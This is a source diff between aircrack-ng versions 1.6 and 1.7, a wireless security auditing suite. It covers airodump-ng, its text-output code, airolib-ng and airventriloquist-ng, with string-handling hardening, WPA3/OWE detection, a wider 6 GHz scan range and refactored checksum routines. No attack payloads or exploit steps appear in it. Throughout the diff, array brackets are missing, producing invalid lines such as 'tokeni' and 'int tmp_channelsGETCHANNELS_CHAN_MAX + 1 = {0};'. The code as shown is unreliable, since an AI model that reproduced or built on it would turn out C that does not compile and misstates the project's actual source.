+		memset(buffer, 0, sizeof(buffer));
+		memset(data, 0, sizeof(data));
 
 		/* attempt to connect to localhost, port 2947 */
 		pos = 0;
+		if (gpsd_sock >= 0)
+		{
+			close(gpsd_sock);
+		}
 		gpsd_sock = socket(AF_INET, SOCK_STREAM, 0);
 		if (gpsd_sock < 0) continue;
 
@@ -4778,7 +4785,7 @@
 
 				memset(line, 0, sizeof(line));
 
-				snprintf(line, sizeof(line) - 1, "PVTAD\r\n");
+				strcat(line, "PVTAD\r\n");
 				if (send(gpsd_sock, line, 7, 0) != 7)
 				{
 					free(return_success);
@@ -4894,11 +4901,7 @@
 
 	if (signum == SIGALRM)
 	{
-#if defined(__sun__)
 		fprintf(stdout,
-#else
-		dprintf(STDERR_FILENO,
-#endif
 				"Caught signal 14 (SIGALRM). Please"
 				" contact the author!\n\n");
 		show_cursor();
@@ -5230,11 +5233,12 @@
 
 static int getchannels(const char * optarg)
 {
-	unsigned int i = 0, chan_cur = 0, chan_first = 0, chan_last = 0,
-				 chan_max = 128, chan_remain = 0;
+#define GETCHANNELS_CHAN_MAX 128u
+	size_t i = 0, chan_cur = 0, chan_first = 0, chan_last = 0,
+		   chan_max = GETCHANNELS_CHAN_MAX, chan_remain = 0;
 	char *optchan = NULL, *optc;
 	char * token = NULL;
-	int * tmp_channels;
+	int tmp_channelsGETCHANNELS_CHAN_MAX + 1 = {0};
 
 	// got a NULL pointer?
 	if (optarg == NULL) return (-1);
@@ -5242,18 +5246,17 @@
 	chan_remain = chan_max;
 
 	// create a writable string
-	optc = optchan = (char *) malloc(strlen(optarg) + 1);
+	const size_t optchan_len = strlen(optarg) + 1;
+	optc = optchan = (char *) malloc(optchan_len);
 	ALLEGE(optc != NULL);
 	ALLEGE(optchan != NULL);
-	strncpy(optchan, optarg, strlen(optarg));
-	optchanstrlen(optarg) = '\0';
-
-	tmp_channels = (int *) malloc(sizeof(int) * (chan_max + 1));
-	ALLEGE(tmp_channels != NULL);
+	strlcpy(optchan, optarg, optchan_len);
 
 	// split string in tokens, separated by ','
 	while ((token = strsep(&optchan, ",")) != NULL)
 	{
+		const size_t token_len = strlen(token);
+
 		// range defined?
 		if (strchr(token, '-') != NULL)
 		{
@@ -5261,22 +5264,20 @@
 			if (strchr(token, '-') == strrchr(token, '-'))
 			{
 				// are there any illegal characters?
-				for (i = 0; i < strlen(token); i++)
+				for (i = 0; i < token_len; i++)
 				{
 					if (((tokeni < '0') || (tokeni > '9'))
 						&& (tokeni != '-'))
 					{
-						free(tmp_channels);
 						free(optc);
 						return (-1);
 					}
 				}
 
-				if (sscanf(token, "%u-%u", &chan_first, &chan_last) != EOF)
+				if (sscanf(token, "%zu-%zu", &chan_first, &chan_last) != EOF)
 				{
 					if (chan_first > chan_last)
 					{
-						free(tmp_channels);
 						free(optc);
 						return (-1);
 					}
@@ -5291,14 +5292,12 @@
 				}
 				else
 				{
-					free(tmp_channels);
 					free(optc);
 					return (-1);
 				}
 			}
 			else
 			{
-				free(tmp_channels);
 				free(optc);
 				return (-1);
 			}
@@ -5306,17 +5305,16 @@
 		else
 		{
 			// are there any illegal characters?
-			for (i = 0; i < strlen(token); i++)
+			for (i = 0; i < token_len; i++)
 			{
 				if ((tokeni < '0') || (tokeni > '9'))
 				{
-					free(tmp_channels);
 					free(optc);
 					return (-1);
 				}
 			}
 
-			if (sscanf(token, "%u", &chan_cur) != EOF)
+			if (sscanf(token, "%zu", &chan_cur) != EOF)
 			{
 				if ((!invalid_channel(chan_cur)) && (chan_remain > 0))
 				{
@@ -5326,7 +5324,6 @@
 			}
 			else
 			{
-				free(tmp_channels);
 				free(optc);
 				return (-1);
 			}
@@ -5347,7 +5344,6 @@
 
 	lopt.own_channelsi = 0;
 
-	free(tmp_channels);
 	free(optc);
 	if (i == 1) return (lopt.own_channels0);
 	if (i == 0) return (-1);
@@ -5358,8 +5354,8 @@
 
 static int getfrequencies(const char * optarg)
 {
-	unsigned int i = 0, freq_cur = 0, freq_first = 0, freq_last = 0,
-				 freq_max = 10000, freq_remain = 0;
+	size_t i = 0, freq_cur = 0, freq_first = 0, freq_last = 0, freq_max = 10000,
+		   freq_remain = 0;
 	char *optfreq = NULL, *optc;
 	char * token = NULL;
 	int * tmp_frequencies;
@@ -5370,11 +5366,11 @@
 	freq_remain = freq_max;
 
 	// create a writable string
-	optc = optfreq = (char *) malloc(strlen(optarg) + 1);
+	const size_t optfreq_len = strlen(optarg) + 1;
+	optc = optfreq = (char *) malloc(optfreq_len);
 	ALLEGE(optc != NULL);
 	ALLEGE(optfreq != NULL);
-	strncpy(optfreq, optarg, strlen(optarg));
-	optfreqstrlen(optarg) = '\0';
+	strlcpy(optfreq, optarg, optfreq_len);
 
 	tmp_frequencies = (int *) malloc(sizeof(int) * (freq_max + 1));
 	ALLEGE(tmp_frequencies != NULL);
@@ -5382,6 +5378,8 @@
 	// split string in tokens, separated by ','
 	while ((token = strsep(&optfreq, ",")) != NULL)
 	{
+		const size_t token_len = strlen(token);
+
 		// range defined?
 		if (strchr(token, '-') != NULL)
 		{
@@ -5389,7 +5387,7 @@
 			if (strchr(token, '-') == strrchr(token, '-'))
 			{
 				// are there any illegal characters?
-				for (i = 0; i < strlen(token); i++)
+				for (i = 0; i < token_len; i++)
 				{
 					if ((tokeni < '0' || tokeni > '9') && (tokeni != '-'))
 					{
@@ -5399,7 +5397,7 @@
 					}
 				}
 
-				if (sscanf(token, "%u-%u", &freq_first, &freq_last) != EOF)
+				if (sscanf(token, "%zu-%zu", &freq_first, &freq_last) != EOF)
 				{
 					if (freq_first > freq_last)
 					{
@@ -5433,7 +5431,7 @@
 		else
 		{
 			// are there any illegal characters?
-			for (i = 0; i < strlen(token); i++)
+			for (i = 0; i < token_len; i++)
 			{
 				if ((tokeni < '0') || (tokeni > '9'))
 				{
@@ -5443,7 +5441,7 @@
 				}
 			}
 
-			if (sscanf(token, "%u", &freq_cur) != EOF)
+			if (sscanf(token, "%zu", &freq_cur) != EOF)
 			{
 				if ((!invalid_frequency(freq_cur)) && (freq_remain > 0))
 				{
@@ -5529,8 +5527,8 @@
 		return (-1);
 	}
 
-	while (((ifaceif_count = strsep(&buffer, ",")) != NULL)
-		   && (if_count < MAX_CARDS))
+	while ((if_count < MAX_CARDS)
+		   && ((ifaceif_count = strsep(&buffer, ",")) != NULL))
 	{
 		again = 0;
 		for (i = 0; i < if_count; i++)
@@ -5564,12 +5562,17 @@
 	{
 		lopt.f_encrypt |= STD_WPA;
 		lopt.f_encrypt |= STD_WPA2;
+		lopt.f_encrypt |= AUTH_SAE;
 	}
 
 	if (strcasecmp(input, "wpa1") == 0) lopt.f_encrypt |= STD_WPA;
 
 	if (strcasecmp(input, "wpa2") == 0) lopt.f_encrypt |= STD_WPA2;
 
+	if (strcasecmp(input, "wpa3") == 0) lopt.f_encrypt |= AUTH_SAE;
+
+	if (strcasecmp(input, "owe") == 0) lopt.f_encrypt |= AUTH_OWE;
+
 	return (0);
 }
 
@@ -5590,8 +5593,7 @@
 					 wi_get_ifname(wii));
 			// reopen in monitor mode
 
-			strncpy(ifname, wi_get_ifname(wii), sizeof(ifname) - 1);
-			ifnamesizeof(ifname) - 1 = 0;
+			strlcpy(ifname, wi_get_ifname(wii), sizeof(ifname));
 
 			wi_close(wii);
 			wii = wi_open(ifname);
@@ -5689,9 +5691,9 @@
 		}
 	}
 
-	// again for 5GHz channels
+	// again for 5GHz & 6GHz channels
 	start_freq = 4800;
-	end_freq = 6000;
+	end_freq = 7115;
 	for (freq = start_freq; freq <= end_freq; freq += 5)
 	{
 		if (wi_set_freq(wi, freq) == 0)
@@ -5770,7 +5772,7 @@
 	long time_slept, cycle_time, cycle_time2;
 	char * output_format_string;
 	int caplen = 0, i, j, fdh, chan_count, freq_count;
-	int fd_rawMAX_CARDS, arptypeMAX_CARDS;
+	int fd_rawMAX_CARDS;
 	int ivs_only, found;
 	int freq2;
 	int num_opts = 0;
@@ -5965,7 +5967,6 @@
 
 	for (i = 0; i < MAX_CARDS; i++)
 	{
-		arptypei = 0;
 		fd_rawi = -1;
 		lopt.channeli = 0;
 	}
@@ -6045,10 +6046,6 @@
 				break;
 
 			case ':':
-
-				printf("\"%s --help\" for help.\n", argv0);
-				return (EXIT_FAILURE);
-
 			case '?':
 
 				printf("\"%s --help\" for help.\n", argv0);
@@ -6196,7 +6193,7 @@
 				}
 				freq0 = freq1 = 0;
 
-				for (i = 0; i < (int) strlen(optarg); i++)
+				for (i = 0; i < (int) strlen(optarg); i++) //-V814
 				{
 					if (optargi == 'a')
 						freq1 = 1;
@@ -6382,7 +6379,7 @@
 					exit(EXIT_FAILURE);
 				}
 #else
-				printf("Error: Airodump-ng wasn't compiled with pcre support; "
+				printf("Error: Airodump-ng wasn't compiled with PCRE support; "
 					   "aborting\n");
 #endif
 
@@ -6417,7 +6414,7 @@
 				output_format_string = strtok(optarg, ",");
 				while (output_format_string != NULL)
 				{
-					if (strlen(output_format_string) != 0)
+					if (*output_format_string != '\0')
 					{
 						if (strncasecmp(output_format_string, "csv", 3) == 0
 							|| strncasecmp(output_format_string, "txt", 3) == 0)
@@ -6652,8 +6649,7 @@
 					*/
 					for (i = 0; i < lopt.num_cards; i++)
 					{
-						strncpy(ifnam, wi_get_ifname(wii), sizeof(ifnam) - 1);
-						ifnamsizeof(ifnam) - 1 = 0;
+						strlcpy(ifnam, wi_get_ifname(wii), sizeof(ifnam));
 
 						wi_close(wii);
 						wii = wi_open(ifnam);
@@ -6713,8 +6709,7 @@
 					*/
 					for (i = 0; i < lopt.num_cards; i++)
 					{
-						strncpy(ifnam, wi_get_ifname(wii), sizeof(ifnam) - 1);
-						ifnamsizeof(ifnam) - 1 = 0;
+						strlcpy(ifnam, wi_get_ifname(wii), sizeof(ifnam));
 
 						wi_close(wii);
 						wii = wi_open(ifnam);
@@ -6853,13 +6848,12 @@
 		perror("Error allocating memory");
 		return (EXIT_FAILURE);
 	}
-	strncpy(lopt.elapsed_time, "0 s", 4);
-	lopt.elapsed_time3 = '\0';
+	strlcpy(lopt.elapsed_time, "0 s", 4);
 
 	/* Create start time string for kismet netxml file */
 	lopt.airodump_start_time = (char *) calloc(1, 1000 * sizeof(char));
 	ALLEGE(lopt.airodump_start_time != NULL);
-	strncpy(lopt.airodump_start_time, ctime(&start_time), 1000 - 1);
+	strlcpy(lopt.airodump_start_time, ctime(&start_time), 1000);
 	lopt.airodump_start_timestrlen(lopt.airodump_start_time) - 1
 		= 0; // remove new line
 	lopt.airodump_start_time = (char *) realloc( //-V701
@@ -6872,8 +6866,7 @@
 	if (lopt.background_mode == -1) lopt.background_mode = is_background();
 
 	if (!lopt.background_mode
-		&& pthread_create(&(lopt.input_tid), NULL, (void *) input_thread, NULL)
-			   != 0)
+		&& pthread_create(&(lopt.input_tid), NULL, &input_thread, NULL) != 0)
 	{
 		perror("pthread_create failed");
 		return (EXIT_FAILURE);
@@ -7069,17 +7062,6 @@
 							break;
 
 						case IEEE80211_RADIOTAP_DBM_ANTSIGNAL:
-							if (!got_signal)
-							{
-								if (*iterator.this_arg < 127)
-									ri.ri_power = *iterator.this_arg;
-								else
-									ri.ri_power = *iterator.this_arg - 255;
-
-								got_signal = 1;
-							}
-							break;
-
 						case IEEE80211_RADIOTAP_DB_ANTSIGNAL:
 							if (!got_signal)
 							{
@@ -7093,17 +7075,6 @@
 							break;
 
 						case IEEE80211_RADIOTAP_DBM_ANTNOISE:
-							if (!got_noise)
-							{
-								if (*iterator.this_arg < 127)
-									ri.ri_noise = *iterator.this_arg;
-								else
-									ri.ri_noise = *iterator.this_arg - 255;
-
-								got_noise = 1;
-							}
-							break;
-
 						case IEEE80211_RADIOTAP_DB_ANTNOISE:
 							if (!got_noise)
 							{
@@ -7272,8 +7243,7 @@
 
 						// reopen in monitor mode
 
-						strncpy(ifnam, wi_get_ifname(wii), sizeof(ifnam) - 1);
-						ifnamsizeof(ifnam) - 1 = 0;
+						strlcpy(ifnam, wi_get_ifname(wii), sizeof(ifnam));
 
 						wi_close(wii);
 						wii = wi_open(ifnam);

aircrack-ng-1.6.tar.gz/src/airodump-ng/dump_write.c -> aircrack-ng-1.7.tar.gz/src/airodump-ng/dump_write.c Changed

@@ -1,7 +1,7 @@
 /*
  *  Airodump-ng text files output
  *
- *  Copyright (C) 2018-2020 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *  Copyright (C) 2018-2022 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
  *
  *  This program is free software; you can redistribute it and/or modify
  *  it under the terms of the GNU General Public License as published by
@@ -180,6 +180,7 @@
 				ap_cur->bssid5);
 
 		ltime = localtime(&ap_cur->tinit);
+		REQUIRE(ltime != NULL);
 
 		fprintf(opt.f_txt,
 				"%04d-%02d-%02d %02d:%02d:%02d, ",
@@ -191,6 +192,7 @@
 				ltime->tm_sec);
 
 		ltime = localtime(&ap_cur->tlast);
+		REQUIRE(ltime != NULL);
 
 		fprintf(opt.f_txt,
 				"%04d-%02d-%02d %02d:%02d:%02d, ",
@@ -203,7 +205,9 @@
 
 		fprintf(opt.f_txt, "%2d, %3d,", ap_cur->channel, ap_cur->max_speed);
 
-		if ((ap_cur->security & (STD_OPN | STD_WEP | STD_WPA | STD_WPA2)) == 0)
+		if ((ap_cur->security
+			 & (STD_OPN | STD_WEP | STD_WPA | STD_WPA2 | AUTH_SAE | AUTH_OWE))
+			== 0)
 			fprintf(opt.f_txt, " ");
 		else
 		{
@@ -284,11 +288,12 @@
 
 		if (ap_cur->key != NULL)
 		{
-			for (i = 0; i < (int) strlen(ap_cur->key); i++)
+			const int key_len = strlen(ap_cur->key);
+
+			for (i = 0; i < key_len; i++)
 			{
 				fprintf(opt.f_txt, "%02X", ap_cur->keyi);
-				if (i < (int) (strlen(ap_cur->key) - 1))
-					fprintf(opt.f_txt, ":");
+				if (i < (key_len - 1)) fprintf(opt.f_txt, ":");
 			}
 		}
 
@@ -323,6 +328,7 @@
 				st_cur->stmac5);
 
 		ltime = localtime(&st_cur->tinit);
+		REQUIRE(ltime != NULL);
 
 		fprintf(opt.f_txt,
 				"%04d-%02d-%02d %02d:%02d:%02d, ",
@@ -334,6 +340,7 @@
 				ltime->tm_sec);
 
 		ltime = localtime(&st_cur->tlast);
+		REQUIRE(ltime != NULL);
 
 		fprintf(opt.f_txt,
 				"%04d-%02d-%02d %02d:%02d:%02d, ",
@@ -413,6 +420,7 @@
 
 	// Local computer time
 	const struct tm * ltime = localtime(&ap_cur->tlast);
+	REQUIRE(ltime != NULL);
 	fprintf(opt.f_logcsv,
 			"%04d-%02d-%02d %02d:%02d:%02d,",
 			1900 + ltime->tm_year,
@@ -485,6 +493,7 @@
 
 	// Local computer time
 	struct tm * ltime = localtime(&ap_cur->tlast);
+	REQUIRE(ltime != NULL);
 	fprintf(opt.f_logcsv,
 			"%04d-%02d-%02d %02d:%02d:%02d,",
 			1900 + ltime->tm_year,
@@ -605,7 +614,7 @@
 {
 	char * manuf = NULL;
 	char * buffer_manuf;
-	if (buffer != NULL && strlen(buffer) > 0)
+	if (buffer != NULL && *buffer != '\0')
 	{
 		buffer_manuf = strstr(buffer, "(hex)");
 		if (buffer_manuf != NULL)
@@ -621,17 +630,18 @@
 			// Did we stop at the manufacturer
 			if (*buffer_manuf != '\0')
 			{
+				const int buffer_manuf_len_minus_1 = strlen(buffer_manuf);
 
 				// First make sure there's no end of line
-				if (buffer_manufstrlen(buffer_manuf) - 1 == '\n'
-					|| buffer_manufstrlen(buffer_manuf) - 1 == '\r')
+				if (buffer_manufbuffer_manuf_len_minus_1 == '\n'
+					|| buffer_manufbuffer_manuf_len_minus_1 == '\r')
 				{
-					buffer_manufstrlen(buffer_manuf) - 1 = '\0';
-					if (*buffer_manuf != '\0'
-						&& (buffer_manufstrlen(buffer_manuf) - 1 == '\n'
-							|| bufferstrlen(buffer_manuf) - 1 == '\r'))
+					buffer_manufbuffer_manuf_len_minus_1 = '\0';
+					if (buffer_manuf_len_minus_1 >= 1
+						&& (buffer_manufbuffer_manuf_len_minus_1 - 1 == '\n'
+							|| bufferbuffer_manuf_len_minus_1 - 1 == '\r'))
 					{
-						buffer_manufstrlen(buffer_manuf) - 1 = '\0';
+						buffer_manufbuffer_manuf_len_minus_1 - 1 = '\0';
 					}
 				}
 				if (*buffer_manuf != '\0')
@@ -682,9 +692,11 @@
 					   || memcmp(client->base->bssid, BROADCAST, 6) == 0);
 
 	strncpy(first_time, ctime(&client->tinit), TIME_STR_LENGTH - 1);
+	ENSURE(strlen(first_time) >= 1);
 	first_timestrlen(first_time) - 1 = 0; // remove new line
 
 	strncpy(last_time, ctime(&client->tlast), TIME_STR_LENGTH - 1);
+	ENSURE(strlen(last_time) >= 1);
 	last_timestrlen(last_time) - 1 = 0; // remove new line
 
 	fprintf(opt.f_kis_xml,
@@ -765,12 +777,7 @@
 															: client->rate_to;
 	fprintf(opt.f_kis_xml,
 			"\t\t\t<maxseenrate>%.6f</maxseenrate>\n",
-			client_max_rate /
-#if defined(__x86_64__) && defined(__CYGWIN__)
-				(0.0f + 1000000));
-#else
-				1000000.0);
-#endif
+			client_max_rate / 1000000.0f);
 
 	/* Those 2 lines always stays the same */
 	fprintf(opt.f_kis_xml, "\t\t\t<carrier>IEEE 802.11b+</carrier>\n");
@@ -923,9 +930,11 @@
 
 		++network_number; // Network Number
 		strncpy(first_time, ctime(&ap_cur->tinit), TIME_STR_LENGTH - 1);
+		ENSURE(strlen(first_time) >= 1);
 		first_timestrlen(first_time) - 1 = 0; // remove new line
 
 		strncpy(last_time, ctime(&ap_cur->tlast), TIME_STR_LENGTH - 1);
+		ENSURE(strlen(last_time) >= 1);
 		last_timestrlen(last_time) - 1 = 0; // remove new line
 
 		fprintf(opt.f_kis_xml,
@@ -1187,9 +1196,11 @@
 
 			/* Write new network information */
 			strncpy(first_time, ctime(&st_cur->tinit), TIME_STR_LENGTH - 1);
+			ENSURE(strlen(first_time) >= 1);
 			first_timestrlen(first_time) - 1 = 0; // remove new line
 
 			strncpy(last_time, ctime(&st_cur->tlast), TIME_STR_LENGTH - 1);
+			ENSURE(strlen(last_time) >= 1);
 			last_timestrlen(last_time) - 1 = 0; // remove new line
 
 			fprintf(opt.f_kis_xml,
@@ -1236,12 +1247,7 @@
 								  : st_cur->rate_to;
 			fprintf(opt.f_kis_xml,
 					"\t\t<maxseenrate>%.6f</maxseenrate>\n",
-					client_max_rate /
-#if defined(__x86_64__) && defined(__CYGWIN__)
-						(0.0f + 1000000));
-#else
-						1000000.0);
-#endif
+					client_max_rate / 1000000.0f);
 
 			fprintf(opt.f_kis_xml, "\t\t<carrier>IEEE 802.11b+</carrier>\n");
 			fprintf(opt.f_kis_xml, "\t\t<encoding>CCK</encoding>\n");

aircrack-ng-1.6.tar.gz/src/airolib-ng/airolib-ng.c -> aircrack-ng-1.7.tar.gz/src/airolib-ng/airolib-ng.c Changed

@@ -109,7 +109,7 @@
 		   EXPORT_ESSID);
 	free(version_info);
 
-	if (msg && strlen(msg) > 0)
+	if (msg && *msg != '\0')
 	{
 		printf("%s", msg);
 		puts("");
@@ -142,8 +142,10 @@
 	fprintf(stderr, "Database error: %s\n", sqlite3_errmsg(db));
 }
 
-static int
-sql_exec_cb(sqlite3 * db, const char * sql, void * callback, void * cb_arg)
+static int sql_exec_cb(sqlite3 * db,
+					   const char * sql,
+					   int (*callback)(void *, int, char **, char **),
+					   void * cb_arg)
 {
 	REQUIRE(db != NULL);
 	REQUIRE(sql != NULL);
@@ -171,15 +173,24 @@
 					looperlooperc++ % sizeof(looper));
 			fflush(stdout);
 			sleep(1);
+			if (zErrMsg)
+			{
+				sqlite3_free(zErrMsg);
+				zErrMsg = NULL;
+			}
 		}
 		else
 		{
 			if (rc != SQLITE_OK)
 			{
 				fprintf(stderr, "SQL error. %s\n", zErrMsg);
-				sqlite3_free(zErrMsg);
 			}
 			if (waited != 0) printf("\n\n");
+			if (zErrMsg)
+			{
+				sqlite3_free(zErrMsg);
+				zErrMsg = NULL;
+			}
 			return (rc);
 		}
 	}
@@ -297,7 +308,7 @@
 	int rcount = 0;
 	int rc;
 
-	if (stmt == 0 || (ccount = sqlite3_column_count(stmt)) == 0)
+	if ((ccount = sqlite3_column_count(stmt)) == 0)
 	{
 		return (sql_step(stmt, 0));
 	}
@@ -593,9 +604,11 @@
 
 // Verify an ESSID. Returns 1 if ESSID is invalid.
 // TODO More things to verify? Invalid chars?
-static int verify_essid(char * essid)
+static int verify_essid(char * const essid)
 {
-	return (essid == NULL || strlen(essid) < 1 || strlen(essid) > 32);
+	const size_t essid_len = essid ? strlen(essid) : 0;
+
+	return (essid_len < 1 || essid_len > 32);
 }
 
 // sql function which checks a given ESSID
@@ -612,9 +625,11 @@
 	sqlite3_result_int(context, verify_essid(essid));
 }
 
-static int verify_passwd(char * passwd)
+static int verify_passwd(char * const passwd)
 {
-	return (passwd == NULL || strlen(passwd) < 8 || strlen(passwd) > 63);
+	const size_t passwd_len = passwd ? strlen(passwd) : 0;
+
+	return (passwd_len < 8 || passwd_len > 63);
 }
 
 static void
@@ -737,7 +752,7 @@
 		return;
 	}
 
-	if (filename == NULL || strlen(filename) == 0)
+	if (filename == NULL || *filename == '\0')
 	{
 		printf("Invalid filename (NULL)");
 		return;
@@ -894,11 +909,8 @@
 					"Invalid password %s will not be imported.\n",
 					rec->word);
 		}
-		if (rec)
-		{
-			free(rec->word);
-			free(rec);
-		}
+		free(rec->word);
+		free(rec);
 	}
 
 	// Finalize
@@ -980,8 +992,8 @@
 	while (!exit_airolib && fgets(buffer, sizeof(buffer), f) != 0)
 	{
 		int i = strlen(buffer);
-		if (bufferi - 1 == '\n') buffer--i = '\0';
-		if (bufferi - 1 == '\r') buffer--i = '\0';
+		if (i > 0 && bufferi - 1 == '\n') buffer--i = '\0';
+		if (i > 0 && bufferi - 1 == '\r') buffer--i = '\0';
 		imported++;
 		if ((imode == 0 && verify_essid(buffer) == 0)
 			|| (imode == 1 && verify_passwd(buffer) == 0))

aircrack-ng-1.6.tar.gz/src/airserv-ng/airserv-ng.c -> aircrack-ng-1.7.tar.gz/src/airserv-ng/airserv-ng.c Changed

aircrack-ng-1.6.tar.gz/src/airtun-ng/airtun-ng.c -> aircrack-ng-1.7.tar.gz/src/airtun-ng/airtun-ng.c Changed

aircrack-ng-1.6.tar.gz/src/airventriloquist-ng/airventriloquist-ng.c -> aircrack-ng-1.7.tar.gz/src/airventriloquist-ng/airventriloquist-ng.c Changed

@@ -161,9 +161,9 @@
 	int decap_no_convert;
 	char essid36;
 	char passphrase65;
-	u_int8_t decap_bssid6;
-	u_int8_t pmk40;
-	u_int8_t decap_wepkey64;
+	uint8_t decap_bssid6;
+	uint8_t pmk40;
+	uint8_t decap_wepkey64;
 	int decap_weplen, crypt;
 	int decap_store_bad;
 
@@ -173,40 +173,40 @@
 } lopt;
 
 struct devices dev;
-struct wif *_wi_in, *_wi_out;
+extern struct wif *_wi_in, *_wi_out;
 
 struct ARP_req
 {
-	u_int8_t * buf;
+	uint8_t * buf;
 	int hdrlen;
 	int len;
 };
 
 struct APt
 {
-	u_int8_t set;
-	u_int8_t found;
-	u_int8_t len;
-	u_int8_t essid255;
-	u_int8_t bssid6;
-	u_int8_t chan;
+	uint8_t set;
+	uint8_t found;
+	uint8_t len;
+	uint8_t essid255;
+	uint8_t bssid6;
+	uint8_t chan;
 	unsigned int pingREQUESTS;
 	int pwrREQUESTS;
 };
 
 unsigned long nb_pkt_sent;
-u_int8_t h802114096;
-static u_int8_t tmpbuf4096;
+extern uint8_t h802114096;
+extern uint8_t tmpbuf4096;
 
 static int tcp_test(const char * ip_str, const short port)
 {
 	int sock, i;
 	struct sockaddr_in s_in;
 	int packetsize = 1024;
-	u_int8_t packetpacketsize;
-	struct timeval tv, tv2, tv3;
+	uint8_t packetpacketsize;
+	struct timeval tv, tv2 = {0}, tv3;
 	int caplen = 0;
-	int timesREQUESTS;
+	int timesREQUESTS = {0};
 	int min, avg, max, len;
 	struct net_hdr nh;
 
@@ -475,8 +475,8 @@
 static void hexDump(char * desc, void * addr, int len)
 {
 	int i;
-	u_int8_t buff17;
-	u_int8_t * pc = (u_int8_t *) addr;
+	uint8_t buff17;
+	uint8_t * pc = (uint8_t *) addr;
 
 	// Output description if given.
 	if (desc != NULL) printf("%s:\n", desc);
@@ -519,48 +519,35 @@
 /* calcsum - used to calculate IP and ICMP header checksums using
  * one's compliment of the one's compliment sum of 16 bit words of the header
  */
-static u_int16_t calcsum(u_int16_t * buffer, u_int32_t length)
+static uint16_t calcsum(char * buffer, size_t length)
 {
-	u_int32_t sum;
+	uint32_t sum = 0;
 
-	// initialize sum to zero and loop until length (in words) is 0
-	for (sum = 0; length > 1; length -= 2) // sizeof() returns number of bytes,
-		// we're interested in number of
-		// words
-		sum += *buffer++; // add 1 word of buffer to sum and proceed to the next
+	for (size_t i = 0; i < length - 1; i += 2)
+		sum += (bufferi << 8) + bufferi + 1;
 
-	// we may have an extra byte
-	if (length == 1) sum += (u_int8_t) *buffer;
+	if (length % 2) sum += bufferlength - 1;
 
-	sum = (sum >> 16) + (sum & 0xFFFF); // add high 16 to low 16
-	sum += (sum >> 16); // add carry
-	return (~sum);
+	while (sum >> 16) sum = (sum & 0xFFFF) + (sum >> 16);
+
+	return ((uint16_t)(~sum));
 }
-// This needs to be cleaned up so that we can do UDP/TCP in one function. Don't
-// want to do that now and risk
-// breaking UDP checksums right now
-static u_int16_t calcsum_tcp(u_int16_t * buf,
-							 u_int32_t len,
-							 u_int32_t src_addr,
-							 u_int32_t dest_addr)
+
+static uint16_t calcsum_for_protocol(uint16_t protocol,
+									 char * buf,
+									 size_t length,
+									 uint32_t src_addr,
+									 uint32_t dest_addr)
 {
-	u_int32_t chksum;
-	u_int32_t length = len;
-	u_int16_t * ip_src = (u_int16_t *) &src_addr;
-	u_int16_t * ip_dst = (u_int16_t *) &dest_addr;
+	uint32_t chksum = 0;
+	uint16_t * ip_src = (uint16_t *) &src_addr;
+	uint16_t * ip_dst = (uint16_t *) &dest_addr;
 
 	// Calculate the chksum
-	chksum = 0;
-	while (len > 1)
-	{
-		chksum += *buf++;
-		if (chksum & 0x80000000) chksum = (chksum & 0xFFFF) + (chksum >> 16);
-		len -= 2;
-	}
+	for (size_t i = 0; i < length - 1; i += 2)
+		chksum += (bufi << 8) + bufi + 1;
 
-	if (len & 1)
-		// Add the padding if the packet length is odd
-		chksum += *((u_int8_t *) buf);
+	if (length % 2) chksum += buflength - 1;
 
 	// Add the pseudo-header
 	chksum += *(ip_src++);
@@ -569,55 +556,31 @@
 	chksum += *(ip_dst++);
 	chksum += *ip_dst;
 
-	chksum += htons(IPPROTO_TCP);
+	chksum += htons(protocol);
 	chksum += htons(length);
 
 	while (chksum >> 16) chksum = (chksum & 0xFFFF) + (chksum >> 16);
 
 	// Return the one's complement of chksum
-	return ((u_int16_t)(~chksum));
+	return ((uint16_t)(~chksum));
 }
 
-static u_int16_t calcsum_udp(u_int16_t * buf,
-							 u_int32_t len,
-							 u_int32_t src_addr,
-							 u_int32_t dest_addr)
+// This needs to be cleaned up so that we can do UDP/TCP in one function. Don't
+// want to do that now and risk
+// breaking UDP checksums right now
+static uint16_t
+calcsum_tcp(char * buf, size_t length, uint32_t src_addr, uint32_t dest_addr)
 {
-	u_int32_t chksum;
-	u_int32_t length = len;
-	u_int16_t * ip_src = (u_int16_t *) &src_addr;
-	u_int16_t * ip_dst = (u_int16_t *) &dest_addr;
-
-	// Calculate the chksum
-	chksum = 0;
-	while (len > 1)
-	{
-		chksum += *buf++;
-		if (chksum & 0x80000000) chksum = (chksum & 0xFFFF) + (chksum >> 16);
-		len -= 2;
-	}
-
-	if (len & 1)
-		// Add the padding if the packet length is odd
-		chksum += *((u_int8_t *) buf);
-
-	// Add the pseudo-header
-	chksum += *(ip_src++);
-	chksum += *ip_src;
-
-	chksum += *(ip_dst++);
-	chksum += *ip_dst;
-
-	chksum += htons(IPPROTO_UDP);
-	chksum += htons(length);
-
-	while (chksum >> 16) chksum = (chksum & 0xFFFF) + (chksum >> 16);
+	return calcsum_for_protocol(IPPROTO_TCP, buf, length, src_addr, dest_addr);
+}
 
-	// Return the one's complement of chksum
-	return ((u_int16_t)(~chksum));
+static uint16_t
+calcsum_udp(char * buf, size_t length, uint32_t src_addr, uint32_t dest_addr)
+{
+	return calcsum_for_protocol(IPPROTO_UDP, buf, length, src_addr, dest_addr);
 }
 
-static inline u_int8_t * packet_get_sta_80211(u_int8_t * pkt)
+static inline uint8_t * packet_get_sta_80211(uint8_t * pkt)
 {
 	REQUIRE(pkt != NULL);
 
@@ -626,18 +589,18 @@
 	// IF TODS
 	if (p_res802->i_fc1 & IEEE80211_FC1_DIR_TODS)
 	{
-		return ((u_int8_t *) &p_res802->i_addr2);
+		return ((uint8_t *) &p_res802->i_addr2);
 	}
 	// IF FROMDS
 	else if (p_res802->i_fc1 & IEEE80211_FC1_DIR_FROMDS)
 	{
-		return ((u_int8_t *) &p_res802->i_addr1);
+		return ((uint8_t *) &p_res802->i_addr1);
 	}
 
 	return (NULL);
 }
 
-static inline u_int8_t * packet_get_bssid_80211(u_int8_t * pkt)
+static inline uint8_t * packet_get_bssid_80211(uint8_t * pkt)
 {
 	REQUIRE(pkt != NULL);
 
@@ -646,23 +609,23 @@
 	// IF TODS
 	if (p_res802->i_fc1 & IEEE80211_FC1_DIR_TODS)
 	{
-		return ((u_int8_t *) &p_res802->i_addr1);
+		return ((uint8_t *) &p_res802->i_addr1);
 	}
 	// IF FROMDS
 	else if (p_res802->i_fc1 & IEEE80211_FC1_DIR_FROMDS)
 	{
-		return ((u_int8_t *) &p_res802->i_addr2);
+		return ((uint8_t *) &p_res802->i_addr2);
